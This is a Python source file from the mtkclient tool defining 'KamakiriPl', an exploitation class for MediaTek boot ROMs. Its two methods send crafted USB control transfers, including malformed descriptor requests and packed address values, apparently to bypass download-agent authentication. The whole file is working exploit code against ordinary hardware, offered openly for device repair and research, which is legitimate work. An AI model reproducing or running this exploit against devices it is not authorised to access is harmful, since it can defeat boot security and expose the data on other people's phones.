#!/usr/bin/python3
# -*- coding: utf-8 -*-
# (c) B.Kerler 2018-2025 GPLv3 License
import logging
import array
from struct import pack

from mtkclient.Library.exploit_handler import Exploitation
from mtkclient.Library.gui_utils import LogBase
from mtkclient.Library.Connection.usblib import usb


class KamakiriPl(Exploitation, metaclass=LogBase):

    def __init__(self, mtk, loglevel=logging.INFO):
        super().__init__(mtk, loglevel)
        self.linecode = None

    def initbrom(self):
        # bypass1stda
        for i in range(5):
            get_val = self.mtk.port.cdc.device.ctrl_transfer(bm_request_type=0xa1,
                                                             b_request=0x21,
                                                             w_value=0,
                                                             w_index=0,
                                                             data_or_w_length=7)
        data = pack("<Q", 0x800000001C200)
        self.mtk.port.cdc.device.ctrl_transfer(bm_request_type=0x21,
                                               b_request=0x20,
                                               w_value=0,
                                               w_index=0,
                                               data_or_w_length=array.array('B', data))
        for i in range(2):
            self.mtk.port.cdc.device.ctrl_transfer(bm_request_type=0x21,
                                                   b_request=0x22,
                                                   w_value=0x3,
                                                   w_index=0,
                                                   data_or_w_length=0)

        get_val = self.mtk.port.cdc.device.ctrl_transfer(bm_request_type=0xa1,
                                                         b_request=0x21,
                                                         w_value=0,
                                                         w_index=0,
                                                         data_or_w_length=7)

        self.mtk.port.cdc.device.ctrl_transfer(bm_request_type=0x21,
                                               b_request=0x20,
                                               w_value=0,
                                               w_index=0,
                                               data_or_w_length=get_val)

        self.mtk.port.cdc.device.ctrl_transfer(bm_request_type=0x21,
                                               b_request=0x23,
                                               w_value=0,
                                               w_index=0,
                                               data_or_w_length=0)

        for i in range(2):
            self.mtk.port.cdc.device.ctrl_transfer(bm_request_type=0x21,
                                                   b_request=0x22,
                                                   w_value=0x3,
                                                   w_index=0,
                                                   data_or_w_length=0)

    def bypass_2nd_da(self):
        usb.util.claim_interface(self.mtk.port.cdc.device, 0)
        try:
            # ret =
            self.mtk.port.cdc.device.ctrl_transfer(bm_request_type=0x80,
                                                   b_request=0x6,
                                                   w_value=0x02FF,
                                                   w_index=0xFFFF,
                                                   data_or_w_length=9)
        except Exception:
            pass
        try:
            # value =
            self.mtk.port.cdc.device.ctrl_transfer(0xA1, 0x21, 0, 0, 7) + array.array('B', [0])
        except Exception:
            pass

        data = pack("<QI", 0x800000001C200, 0x22C3B0)
        try:
            self.mtk.port.cdc.device.ctrl_transfer(bm_request_type=0x21,
                                                   b_request=0x20,
                                                   w_value=0,
                                                   w_index=0,
                                                   data_or_w_length=array.array('B', data))
        except Exception:
            pass
        try:
            # ret =
            self.mtk.port.cdc.device.ctrl_transfer(bm_request_type=0x80,
                                                   b_request=0x6,
                                                   w_value=0x02FF,
                                                   w_index=0xFFFF,
                                                   data_or_w_length=9)
        except Exception:
            pass
